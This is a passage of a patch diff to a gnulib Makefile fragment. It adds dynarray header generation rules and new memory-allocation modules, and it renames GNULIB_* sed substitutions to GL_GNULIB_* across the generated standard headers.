++BUILT_SOURCES += malloc/dynarray.gl.h malloc/dynarray-skeleton.gl.h
++
++malloc/dynarray.gl.h: malloc/dynarray.h
++ $(AM_V_at)$(MKDIR_P) malloc
++ $(AM_V_GEN)rm -f $@-t $@ && \
++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \
++ sed -e '/libc_hidden_proto/d' < $(srcdir)/malloc/dynarray.h; \
++ } > $@-t && \
++ mv $@-t $@
++MOSTLYCLEANFILES += malloc/dynarray.gl.h malloc/dynarray.gl.h-t
++
++malloc/dynarray-skeleton.gl.h: malloc/dynarray-skeleton.c
++ $(AM_V_at)$(MKDIR_P) malloc
++ $(AM_V_GEN)rm -f $@-t $@ && \
++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \
++ sed -e 's|<malloc/dynarray\.h>|<malloc/dynarray.gl.h>|g' \
++ -e 's|__attribute_maybe_unused__|_GL_ATTRIBUTE_MAYBE_UNUSED|g' \
++ -e 's|__attribute_nonnull__|_GL_ATTRIBUTE_NONNULL|g' \
++ -e 's|__attribute_warn_unused_result__|_GL_ATTRIBUTE_NODISCARD|g' \
++ -e 's|__glibc_likely|_GL_LIKELY|g' \
++ -e 's|__glibc_unlikely|_GL_UNLIKELY|g' \
++ < $(srcdir)/malloc/dynarray-skeleton.c; \
++ } > $@-t && \
++ mv $@-t $@
++MOSTLYCLEANFILES += malloc/dynarray-skeleton.gl.h malloc/dynarray-skeleton.gl.h-t
++
+ libgnu_a_SOURCES += malloc/dynarray_at_failure.c malloc/dynarray_emplace_enlarge.c malloc/dynarray_finalize.c malloc/dynarray_resize.c malloc/dynarray_resize_clear.c
+
+ endif
+@@ -285,13 +329,13 @@ fcntl.h: fcntl.in.h $(top_builddir)/conf
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_FCNTL_H''@|$(NEXT_FCNTL_H)|g' \
+- -e 's/@''GNULIB_CREAT''@/$(GNULIB_CREAT)/g' \
+- -e 's/@''GNULIB_FCNTL''@/$(GNULIB_FCNTL)/g' \
+- -e 's/@''GNULIB_NONBLOCKING''@/$(GNULIB_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_OPEN''@/$(GNULIB_OPEN)/g' \
+- -e 's/@''GNULIB_OPENAT''@/$(GNULIB_OPENAT)/g' \
+- -e 's/@''GNULIB_MDA_CREAT''@/$(GNULIB_MDA_CREAT)/g' \
+- -e 's/@''GNULIB_MDA_OPEN''@/$(GNULIB_MDA_OPEN)/g' \
++ -e 's/@''GNULIB_CREAT''@/$(GL_GNULIB_CREAT)/g' \
++ -e 's/@''GNULIB_FCNTL''@/$(GL_GNULIB_FCNTL)/g' \
++ -e 's/@''GNULIB_NONBLOCKING''@/$(GL_GNULIB_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_OPEN''@/$(GL_GNULIB_OPEN)/g' \
++ -e 's/@''GNULIB_OPENAT''@/$(GL_GNULIB_OPENAT)/g' \
++ -e 's/@''GNULIB_MDA_CREAT''@/$(GL_GNULIB_MDA_CREAT)/g' \
++ -e 's/@''GNULIB_MDA_OPEN''@/$(GL_GNULIB_MDA_OPEN)/g' \
+ -e 's|@''HAVE_FCNTL''@|$(HAVE_FCNTL)|g' \
+ -e 's|@''HAVE_OPENAT''@|$(HAVE_OPENAT)|g' \
+ -e 's|@''REPLACE_CREAT''@|$(REPLACE_CREAT)|g' \
+@@ -358,6 +402,17 @@ EXTRA_libgnu_a_SOURCES += float.c itold.
+
+ ## end gnulib module float
+
++## begin gnulib module free-posix
++
++if gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955
++
++endif
++EXTRA_DIST += free.c
++
++EXTRA_libgnu_a_SOURCES += free.c
++
++## end gnulib module free-posix
++
+ ## begin gnulib module fstat
+
+ if gl_GNULIB_ENABLED_fstat
+@@ -445,11 +500,23 @@ EXTRA_DIST += $(top_srcdir)/build-aux/co
+
+ ## end gnulib module havelib
+
++## begin gnulib module ialloc
++
++libgnu_a_SOURCES += ialloc.c
++
++EXTRA_DIST += ialloc.h
++
++## end gnulib module ialloc
++
++## begin gnulib module idx
++
++libgnu_a_SOURCES += idx.h
++
++## end gnulib module idx
++
+ ## begin gnulib module intprops
+
+-if gl_GNULIB_ENABLED_intprops
+
+-endif
+ EXTRA_DIST += intprops.h
+
+ ## end gnulib module intprops
+@@ -470,10 +537,10 @@ inttypes.h: inttypes.in.h $(top_builddir
+ -e 's|@''NEXT_INTTYPES_H''@|$(NEXT_INTTYPES_H)|g' \
+ -e 's/@''APPLE_UNIVERSAL_BUILD''@/$(APPLE_UNIVERSAL_BUILD)/g' \
+ -e 's/@''PRIPTR_PREFIX''@/$(PRIPTR_PREFIX)/g' \
+- -e 's/@''GNULIB_IMAXABS''@/$(GNULIB_IMAXABS)/g' \
+- -e 's/@''GNULIB_IMAXDIV''@/$(GNULIB_IMAXDIV)/g' \
+- -e 's/@''GNULIB_STRTOIMAX''@/$(GNULIB_STRTOIMAX)/g' \
+- -e 's/@''GNULIB_STRTOUMAX''@/$(GNULIB_STRTOUMAX)/g' \
++ -e 's/@''GNULIB_IMAXABS''@/$(GL_GNULIB_IMAXABS)/g' \
++ -e 's/@''GNULIB_IMAXDIV''@/$(GL_GNULIB_IMAXDIV)/g' \
++ -e 's/@''GNULIB_STRTOIMAX''@/$(GL_GNULIB_STRTOIMAX)/g' \
++ -e 's/@''GNULIB_STRTOUMAX''@/$(GL_GNULIB_STRTOUMAX)/g' \
+ -e 's/@''HAVE_DECL_IMAXABS''@/$(HAVE_DECL_IMAXABS)/g' \
+ -e 's/@''HAVE_DECL_IMAXDIV''@/$(HAVE_DECL_IMAXDIV)/g' \
+ -e 's/@''HAVE_DECL_STRTOIMAX''@/$(HAVE_DECL_STRTOIMAX)/g' \
+@@ -540,7 +607,7 @@ langinfo.h: langinfo.in.h $(top_builddir
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_LANGINFO_H''@|$(NEXT_LANGINFO_H)|g' \
+- -e 's/@''GNULIB_NL_LANGINFO''@/$(GNULIB_NL_LANGINFO)/g' \
++ -e 's/@''GNULIB_NL_LANGINFO''@/$(GL_GNULIB_NL_LANGINFO)/g' \
+ -e 's|@''HAVE_LANGINFO_CODESET''@|$(HAVE_LANGINFO_CODESET)|g' \
+ -e 's|@''HAVE_LANGINFO_T_FMT_AMPM''@|$(HAVE_LANGINFO_T_FMT_AMPM)|g' \
+ -e 's|@''HAVE_LANGINFO_ALTMON''@|$(HAVE_LANGINFO_ALTMON)|g' \
+@@ -622,11 +689,11 @@ locale.h: locale.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_LOCALE_H''@|$(NEXT_LOCALE_H)|g' \
+- -e 's/@''GNULIB_LOCALECONV''@/$(GNULIB_LOCALECONV)/g' \
+- -e 's/@''GNULIB_SETLOCALE''@/$(GNULIB_SETLOCALE)/g' \
+- -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GNULIB_SETLOCALE_NULL)/g' \
+- -e 's/@''GNULIB_DUPLOCALE''@/$(GNULIB_DUPLOCALE)/g' \
+- -e 's/@''GNULIB_LOCALENAME''@/$(GNULIB_LOCALENAME)/g' \
++ -e 's/@''GNULIB_LOCALECONV''@/$(GL_GNULIB_LOCALECONV)/g' \
++ -e 's/@''GNULIB_SETLOCALE''@/$(GL_GNULIB_SETLOCALE)/g' \
++ -e 's/@''GNULIB_SETLOCALE_NULL''@/$(GL_GNULIB_SETLOCALE_NULL)/g' \
++ -e 's/@''GNULIB_DUPLOCALE''@/$(GL_GNULIB_DUPLOCALE)/g' \
++ -e 's/@''GNULIB_LOCALENAME''@/$(GL_GNULIB_LOCALENAME)/g' \
+ -e 's|@''HAVE_NEWLOCALE''@|$(HAVE_NEWLOCALE)|g' \
+ -e 's|@''HAVE_DUPLOCALE''@|$(HAVE_DUPLOCALE)|g' \
+ -e 's|@''HAVE_FREELOCALE''@|$(HAVE_FREELOCALE)|g' \
+@@ -670,11 +737,18 @@ libgnu_a_SOURCES += glthread/lock.h glth
+ endif
+ ## end gnulib module lock
+
++## begin gnulib module malloc-gnu
++
++
++EXTRA_DIST += malloc.c
++
++EXTRA_libgnu_a_SOURCES += malloc.c
++
++## end gnulib module malloc-gnu
++
+ ## begin gnulib module malloc-posix
+
+-if gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866
+
+-endif
+ EXTRA_DIST += malloc.c
+
+ EXTRA_libgnu_a_SOURCES += malloc.c
+@@ -805,6 +879,12 @@ EXTRA_libgnu_a_SOURCES += memrchr.c
+
+ ## end gnulib module memrchr
+
++## begin gnulib module minmax
++
++libgnu_a_SOURCES += minmax.h
++
++## end gnulib module minmax
++
+ ## begin gnulib module msvc-inval
+
+ if gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616
+@@ -856,6 +936,33 @@ EXTRA_DIST += pathmax.h
+
+ ## end gnulib module pathmax
+
++## begin gnulib module realloc-gnu
++
++
++EXTRA_DIST += realloc.c
++
++EXTRA_libgnu_a_SOURCES += realloc.c
++
++## end gnulib module realloc-gnu
++
++## begin gnulib module realloc-posix
++
++
++EXTRA_DIST += realloc.c
++
++EXTRA_libgnu_a_SOURCES += realloc.c
++
++## end gnulib module realloc-posix
++
++## begin gnulib module reallocarray
++
++
++EXTRA_DIST += reallocarray.c
++
++EXTRA_libgnu_a_SOURCES += reallocarray.c
++
++## end gnulib module reallocarray
++
+ ## begin gnulib module regex
+
+
+@@ -1072,7 +1179,7 @@ stdint.h: stdint.in.h $(top_builddir)/co
+ -e 's/@''BITSIZEOF_WINT_T''@/$(BITSIZEOF_WINT_T)/g' \
+ -e 's/@''HAVE_SIGNED_WINT_T''@/$(HAVE_SIGNED_WINT_T)/g' \
+ -e 's/@''WINT_T_SUFFIX''@/$(WINT_T_SUFFIX)/g' \
+- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \
++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \
+ < $(srcdir)/stdint.in.h; \
+ } > $@-t && \
+ mv $@-t $@
+@@ -1100,65 +1207,65 @@ stdio.h: stdio.in.h $(top_builddir)/conf
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STDIO_H''@|$(NEXT_STDIO_H)|g' \
+- -e 's/@''GNULIB_DPRINTF''@/$(GNULIB_DPRINTF)/g' \
+- -e 's/@''GNULIB_FCLOSE''@/$(GNULIB_FCLOSE)/g' \
+- -e 's/@''GNULIB_FDOPEN''@/$(GNULIB_FDOPEN)/g' \
+- -e 's/@''GNULIB_FFLUSH''@/$(GNULIB_FFLUSH)/g' \
+- -e 's/@''GNULIB_FGETC''@/$(GNULIB_FGETC)/g' \
+- -e 's/@''GNULIB_FGETS''@/$(GNULIB_FGETS)/g' \
+- -e 's/@''GNULIB_FOPEN''@/$(GNULIB_FOPEN)/g' \
+- -e 's/@''GNULIB_FPRINTF''@/$(GNULIB_FPRINTF)/g' \
+- -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GNULIB_FPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_FPURGE''@/$(GNULIB_FPURGE)/g' \
+- -e 's/@''GNULIB_FPUTC''@/$(GNULIB_FPUTC)/g' \
+- -e 's/@''GNULIB_FPUTS''@/$(GNULIB_FPUTS)/g' \
+- -e 's/@''GNULIB_FREAD''@/$(GNULIB_FREAD)/g' \
+- -e 's/@''GNULIB_FREOPEN''@/$(GNULIB_FREOPEN)/g' \
+- -e 's/@''GNULIB_FSCANF''@/$(GNULIB_FSCANF)/g' \
+- -e 's/@''GNULIB_FSEEK''@/$(GNULIB_FSEEK)/g' \
+- -e 's/@''GNULIB_FSEEKO''@/$(GNULIB_FSEEKO)/g' \
+- -e 's/@''GNULIB_FTELL''@/$(GNULIB_FTELL)/g' \
+- -e 's/@''GNULIB_FTELLO''@/$(GNULIB_FTELLO)/g' \
+- -e 's/@''GNULIB_FWRITE''@/$(GNULIB_FWRITE)/g' \
+- -e 's/@''GNULIB_GETC''@/$(GNULIB_GETC)/g' \
+- -e 's/@''GNULIB_GETCHAR''@/$(GNULIB_GETCHAR)/g' \
+- -e 's/@''GNULIB_GETDELIM''@/$(GNULIB_GETDELIM)/g' \
+- -e 's/@''GNULIB_GETLINE''@/$(GNULIB_GETLINE)/g' \
+- -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GNULIB_OBSTACK_PRINTF)/g' \
+- -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GNULIB_OBSTACK_PRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_PCLOSE''@/$(GNULIB_PCLOSE)/g' \
+- -e 's/@''GNULIB_PERROR''@/$(GNULIB_PERROR)/g' \
+- -e 's/@''GNULIB_POPEN''@/$(GNULIB_POPEN)/g' \
+- -e 's/@''GNULIB_PRINTF''@/$(GNULIB_PRINTF)/g' \
+- -e 's/@''GNULIB_PRINTF_POSIX''@/$(GNULIB_PRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_PUTC''@/$(GNULIB_PUTC)/g' \
+- -e 's/@''GNULIB_PUTCHAR''@/$(GNULIB_PUTCHAR)/g' \
+- -e 's/@''GNULIB_PUTS''@/$(GNULIB_PUTS)/g' \
+- -e 's/@''GNULIB_REMOVE''@/$(GNULIB_REMOVE)/g' \
+- -e 's/@''GNULIB_RENAME''@/$(GNULIB_RENAME)/g' \
+- -e 's/@''GNULIB_RENAMEAT''@/$(GNULIB_RENAMEAT)/g' \
+- -e 's/@''GNULIB_SCANF''@/$(GNULIB_SCANF)/g' \
+- -e 's/@''GNULIB_SNPRINTF''@/$(GNULIB_SNPRINTF)/g' \
+- -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GNULIB_SPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GNULIB_STDIO_H_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GNULIB_STDIO_H_SIGPIPE)/g' \
+- -e 's/@''GNULIB_TMPFILE''@/$(GNULIB_TMPFILE)/g' \
+- -e 's/@''GNULIB_VASPRINTF''@/$(GNULIB_VASPRINTF)/g' \
+- -e 's/@''GNULIB_VDPRINTF''@/$(GNULIB_VDPRINTF)/g' \
+- -e 's/@''GNULIB_VFPRINTF''@/$(GNULIB_VFPRINTF)/g' \
+- -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GNULIB_VFPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_VFSCANF''@/$(GNULIB_VFSCANF)/g' \
+- -e 's/@''GNULIB_VSCANF''@/$(GNULIB_VSCANF)/g' \
+- -e 's/@''GNULIB_VPRINTF''@/$(GNULIB_VPRINTF)/g' \
+- -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GNULIB_VPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_VSNPRINTF''@/$(GNULIB_VSNPRINTF)/g' \
+- -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GNULIB_VSPRINTF_POSIX)/g' \
+- -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GNULIB_MDA_FCLOSEALL)/g' \
+- -e 's/@''GNULIB_MDA_FDOPEN''@/$(GNULIB_MDA_FDOPEN)/g' \
+- -e 's/@''GNULIB_MDA_FILENO''@/$(GNULIB_MDA_FILENO)/g' \
+- -e 's/@''GNULIB_MDA_GETW''@/$(GNULIB_MDA_GETW)/g' \
+- -e 's/@''GNULIB_MDA_PUTW''@/$(GNULIB_MDA_PUTW)/g' \
+- -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GNULIB_MDA_TEMPNAM)/g' \
++ -e 's/@''GNULIB_DPRINTF''@/$(GL_GNULIB_DPRINTF)/g' \
++ -e 's/@''GNULIB_FCLOSE''@/$(GL_GNULIB_FCLOSE)/g' \
++ -e 's/@''GNULIB_FDOPEN''@/$(GL_GNULIB_FDOPEN)/g' \
++ -e 's/@''GNULIB_FFLUSH''@/$(GL_GNULIB_FFLUSH)/g' \
++ -e 's/@''GNULIB_FGETC''@/$(GL_GNULIB_FGETC)/g' \
++ -e 's/@''GNULIB_FGETS''@/$(GL_GNULIB_FGETS)/g' \
++ -e 's/@''GNULIB_FOPEN''@/$(GL_GNULIB_FOPEN)/g' \
++ -e 's/@''GNULIB_FPRINTF''@/$(GL_GNULIB_FPRINTF)/g' \
++ -e 's/@''GNULIB_FPRINTF_POSIX''@/$(GL_GNULIB_FPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_FPURGE''@/$(GL_GNULIB_FPURGE)/g' \
++ -e 's/@''GNULIB_FPUTC''@/$(GL_GNULIB_FPUTC)/g' \
++ -e 's/@''GNULIB_FPUTS''@/$(GL_GNULIB_FPUTS)/g' \
++ -e 's/@''GNULIB_FREAD''@/$(GL_GNULIB_FREAD)/g' \
++ -e 's/@''GNULIB_FREOPEN''@/$(GL_GNULIB_FREOPEN)/g' \
++ -e 's/@''GNULIB_FSCANF''@/$(GL_GNULIB_FSCANF)/g' \
++ -e 's/@''GNULIB_FSEEK''@/$(GL_GNULIB_FSEEK)/g' \
++ -e 's/@''GNULIB_FSEEKO''@/$(GL_GNULIB_FSEEKO)/g' \
++ -e 's/@''GNULIB_FTELL''@/$(GL_GNULIB_FTELL)/g' \
++ -e 's/@''GNULIB_FTELLO''@/$(GL_GNULIB_FTELLO)/g' \
++ -e 's/@''GNULIB_FWRITE''@/$(GL_GNULIB_FWRITE)/g' \
++ -e 's/@''GNULIB_GETC''@/$(GL_GNULIB_GETC)/g' \
++ -e 's/@''GNULIB_GETCHAR''@/$(GL_GNULIB_GETCHAR)/g' \
++ -e 's/@''GNULIB_GETDELIM''@/$(GL_GNULIB_GETDELIM)/g' \
++ -e 's/@''GNULIB_GETLINE''@/$(GL_GNULIB_GETLINE)/g' \
++ -e 's/@''GNULIB_OBSTACK_PRINTF''@/$(GL_GNULIB_OBSTACK_PRINTF)/g' \
++ -e 's/@''GNULIB_OBSTACK_PRINTF_POSIX''@/$(GL_GNULIB_OBSTACK_PRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_PCLOSE''@/$(GL_GNULIB_PCLOSE)/g' \
++ -e 's/@''GNULIB_PERROR''@/$(GL_GNULIB_PERROR)/g' \
++ -e 's/@''GNULIB_POPEN''@/$(GL_GNULIB_POPEN)/g' \
++ -e 's/@''GNULIB_PRINTF''@/$(GL_GNULIB_PRINTF)/g' \
++ -e 's/@''GNULIB_PRINTF_POSIX''@/$(GL_GNULIB_PRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_PUTC''@/$(GL_GNULIB_PUTC)/g' \
++ -e 's/@''GNULIB_PUTCHAR''@/$(GL_GNULIB_PUTCHAR)/g' \
++ -e 's/@''GNULIB_PUTS''@/$(GL_GNULIB_PUTS)/g' \
++ -e 's/@''GNULIB_REMOVE''@/$(GL_GNULIB_REMOVE)/g' \
++ -e 's/@''GNULIB_RENAME''@/$(GL_GNULIB_RENAME)/g' \
++ -e 's/@''GNULIB_RENAMEAT''@/$(GL_GNULIB_RENAMEAT)/g' \
++ -e 's/@''GNULIB_SCANF''@/$(GL_GNULIB_SCANF)/g' \
++ -e 's/@''GNULIB_SNPRINTF''@/$(GL_GNULIB_SNPRINTF)/g' \
++ -e 's/@''GNULIB_SPRINTF_POSIX''@/$(GL_GNULIB_SPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_STDIO_H_NONBLOCKING''@/$(GL_GNULIB_STDIO_H_NONBLOCKING)/g' \
++ -e 's/@''GNULIB_STDIO_H_SIGPIPE''@/$(GL_GNULIB_STDIO_H_SIGPIPE)/g' \
++ -e 's/@''GNULIB_TMPFILE''@/$(GL_GNULIB_TMPFILE)/g' \
++ -e 's/@''GNULIB_VASPRINTF''@/$(GL_GNULIB_VASPRINTF)/g' \
++ -e 's/@''GNULIB_VDPRINTF''@/$(GL_GNULIB_VDPRINTF)/g' \
++ -e 's/@''GNULIB_VFPRINTF''@/$(GL_GNULIB_VFPRINTF)/g' \
++ -e 's/@''GNULIB_VFPRINTF_POSIX''@/$(GL_GNULIB_VFPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_VFSCANF''@/$(GL_GNULIB_VFSCANF)/g' \
++ -e 's/@''GNULIB_VSCANF''@/$(GL_GNULIB_VSCANF)/g' \
++ -e 's/@''GNULIB_VPRINTF''@/$(GL_GNULIB_VPRINTF)/g' \
++ -e 's/@''GNULIB_VPRINTF_POSIX''@/$(GL_GNULIB_VPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_VSNPRINTF''@/$(GL_GNULIB_VSNPRINTF)/g' \
++ -e 's/@''GNULIB_VSPRINTF_POSIX''@/$(GL_GNULIB_VSPRINTF_POSIX)/g' \
++ -e 's/@''GNULIB_MDA_FCLOSEALL''@/$(GL_GNULIB_MDA_FCLOSEALL)/g' \
++ -e 's/@''GNULIB_MDA_FDOPEN''@/$(GL_GNULIB_MDA_FDOPEN)/g' \
++ -e 's/@''GNULIB_MDA_FILENO''@/$(GL_GNULIB_MDA_FILENO)/g' \
++ -e 's/@''GNULIB_MDA_GETW''@/$(GL_GNULIB_MDA_GETW)/g' \
++ -e 's/@''GNULIB_MDA_PUTW''@/$(GL_GNULIB_MDA_PUTW)/g' \
++ -e 's/@''GNULIB_MDA_TEMPNAM''@/$(GL_GNULIB_MDA_TEMPNAM)/g' \
+ < $(srcdir)/stdio.in.h | \
+ sed -e 's|@''HAVE_DECL_FCLOSEALL''@|$(HAVE_DECL_FCLOSEALL)|g' \
+ -e 's|@''HAVE_DECL_FPURGE''@|$(HAVE_DECL_FPURGE)|g' \
+@@ -1236,49 +1343,51 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STDLIB_H''@|$(NEXT_STDLIB_H)|g' \
+- -e 's/@''GNULIB__EXIT''@/$(GNULIB__EXIT)/g' \
+- -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GNULIB_ALIGNED_ALLOC)/g' \
+- -e 's/@''GNULIB_ATOLL''@/$(GNULIB_ATOLL)/g' \
+- -e 's/@''GNULIB_CALLOC_POSIX''@/$(GNULIB_CALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GNULIB_CANONICALIZE_FILE_NAME)/g' \
+- -e 's/@''GNULIB_FREE_POSIX''@/$(GNULIB_FREE_POSIX)/g' \
+- -e 's/@''GNULIB_GETLOADAVG''@/$(GNULIB_GETLOADAVG)/g' \
+- -e 's/@''GNULIB_GETSUBOPT''@/$(GNULIB_GETSUBOPT)/g' \
+- -e 's/@''GNULIB_GRANTPT''@/$(GNULIB_GRANTPT)/g' \
+- -e 's/@''GNULIB_MALLOC_POSIX''@/$(GNULIB_MALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_MBTOWC''@/$(GNULIB_MBTOWC)/g' \
+- -e 's/@''GNULIB_MKDTEMP''@/$(GNULIB_MKDTEMP)/g' \
+- -e 's/@''GNULIB_MKOSTEMP''@/$(GNULIB_MKOSTEMP)/g' \
+- -e 's/@''GNULIB_MKOSTEMPS''@/$(GNULIB_MKOSTEMPS)/g' \
+- -e 's/@''GNULIB_MKSTEMP''@/$(GNULIB_MKSTEMP)/g' \
+- -e 's/@''GNULIB_MKSTEMPS''@/$(GNULIB_MKSTEMPS)/g' \
+- -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GNULIB_POSIX_MEMALIGN)/g' \
+- -e 's/@''GNULIB_POSIX_OPENPT''@/$(GNULIB_POSIX_OPENPT)/g' \
+- -e 's/@''GNULIB_PTSNAME''@/$(GNULIB_PTSNAME)/g' \
+- -e 's/@''GNULIB_PTSNAME_R''@/$(GNULIB_PTSNAME_R)/g' \
+- -e 's/@''GNULIB_PUTENV''@/$(GNULIB_PUTENV)/g' \
+- -e 's/@''GNULIB_QSORT_R''@/$(GNULIB_QSORT_R)/g' \
+- -e 's/@''GNULIB_RANDOM''@/$(GNULIB_RANDOM)/g' \
+- -e 's/@''GNULIB_RANDOM_R''@/$(GNULIB_RANDOM_R)/g' \
+- -e 's/@''GNULIB_REALLOC_POSIX''@/$(GNULIB_REALLOC_POSIX)/g' \
+- -e 's/@''GNULIB_REALLOCARRAY''@/$(GNULIB_REALLOCARRAY)/g' \
+- -e 's/@''GNULIB_REALPATH''@/$(GNULIB_REALPATH)/g' \
+- -e 's/@''GNULIB_RPMATCH''@/$(GNULIB_RPMATCH)/g' \
+- -e 's/@''GNULIB_SECURE_GETENV''@/$(GNULIB_SECURE_GETENV)/g' \
+- -e 's/@''GNULIB_SETENV''@/$(GNULIB_SETENV)/g' \
+- -e 's/@''GNULIB_STRTOD''@/$(GNULIB_STRTOD)/g' \
+- -e 's/@''GNULIB_STRTOLD''@/$(GNULIB_STRTOLD)/g' \
+- -e 's/@''GNULIB_STRTOLL''@/$(GNULIB_STRTOLL)/g' \
+- -e 's/@''GNULIB_STRTOULL''@/$(GNULIB_STRTOULL)/g' \
+- -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GNULIB_SYSTEM_POSIX)/g' \
+- -e 's/@''GNULIB_UNLOCKPT''@/$(GNULIB_UNLOCKPT)/g' \
+- -e 's/@''GNULIB_UNSETENV''@/$(GNULIB_UNSETENV)/g' \
+- -e 's/@''GNULIB_WCTOMB''@/$(GNULIB_WCTOMB)/g' \
+- -e 's/@''GNULIB_MDA_ECVT''@/$(GNULIB_MDA_ECVT)/g' \
+- -e 's/@''GNULIB_MDA_FCVT''@/$(GNULIB_MDA_FCVT)/g' \
+- -e 's/@''GNULIB_MDA_GCVT''@/$(GNULIB_MDA_GCVT)/g' \
+- -e 's/@''GNULIB_MDA_MKTEMP''@/$(GNULIB_MDA_MKTEMP)/g' \
+- -e 's/@''GNULIB_MDA_PUTENV''@/$(GNULIB_MDA_PUTENV)/g' \
++ -e 's/@''GNULIB__EXIT''@/$(GL_GNULIB__EXIT)/g' \
++ -e 's/@''GNULIB_ALIGNED_ALLOC''@/$(GL_GNULIB_ALIGNED_ALLOC)/g' \
++ -e 's/@''GNULIB_ATOLL''@/$(GL_GNULIB_ATOLL)/g' \
++ -e 's/@''GNULIB_CALLOC_POSIX''@/$(GL_GNULIB_CALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_CANONICALIZE_FILE_NAME''@/$(GL_GNULIB_CANONICALIZE_FILE_NAME)/g' \
++ -e 's/@''GNULIB_FREE_POSIX''@/$(GL_GNULIB_FREE_POSIX)/g' \
++ -e 's/@''GNULIB_GETLOADAVG''@/$(GL_GNULIB_GETLOADAVG)/g' \
++ -e 's/@''GNULIB_GETSUBOPT''@/$(GL_GNULIB_GETSUBOPT)/g' \
++ -e 's/@''GNULIB_GRANTPT''@/$(GL_GNULIB_GRANTPT)/g' \
++ -e 's/@''GNULIB_MALLOC_POSIX''@/$(GL_GNULIB_MALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_MBTOWC''@/$(GL_GNULIB_MBTOWC)/g' \
++ -e 's/@''GNULIB_MKDTEMP''@/$(GL_GNULIB_MKDTEMP)/g' \
++ -e 's/@''GNULIB_MKOSTEMP''@/$(GL_GNULIB_MKOSTEMP)/g' \
++ -e 's/@''GNULIB_MKOSTEMPS''@/$(GL_GNULIB_MKOSTEMPS)/g' \
++ -e 's/@''GNULIB_MKSTEMP''@/$(GL_GNULIB_MKSTEMP)/g' \
++ -e 's/@''GNULIB_MKSTEMPS''@/$(GL_GNULIB_MKSTEMPS)/g' \
++ -e 's/@''GNULIB_POSIX_MEMALIGN''@/$(GL_GNULIB_POSIX_MEMALIGN)/g' \
++ -e 's/@''GNULIB_POSIX_OPENPT''@/$(GL_GNULIB_POSIX_OPENPT)/g' \
++ -e 's/@''GNULIB_PTSNAME''@/$(GL_GNULIB_PTSNAME)/g' \
++ -e 's/@''GNULIB_PTSNAME_R''@/$(GL_GNULIB_PTSNAME_R)/g' \
++ -e 's/@''GNULIB_PUTENV''@/$(GL_GNULIB_PUTENV)/g' \
++ -e 's/@''GNULIB_QSORT_R''@/$(GL_GNULIB_QSORT_R)/g' \
++ -e 's/@''GNULIB_RANDOM''@/$(GL_GNULIB_RANDOM)/g' \
++ -e 's/@''GNULIB_RANDOM_R''@/$(GL_GNULIB_RANDOM_R)/g' \
++ -e 's/@''GNULIB_REALLOC_POSIX''@/$(GL_GNULIB_REALLOC_POSIX)/g' \
++ -e 's/@''GNULIB_REALLOCARRAY''@/$(GL_GNULIB_REALLOCARRAY)/g' \
++ -e 's/@''GNULIB_REALPATH''@/$(GL_GNULIB_REALPATH)/g' \
++ -e 's/@''GNULIB_RPMATCH''@/$(GL_GNULIB_RPMATCH)/g' \
